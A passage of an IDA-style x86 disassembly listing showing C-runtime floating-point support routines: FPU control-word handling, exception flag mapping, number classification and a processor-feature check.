locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CC70, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB278, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CC70, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2670345h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C870 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C860 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C870 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C870 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C860 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C860 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB278, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB278, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C788 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C860 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C78C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C888 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C888 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C894 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 26A059Eh test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26C0000h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C504, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C2F8 mov al, 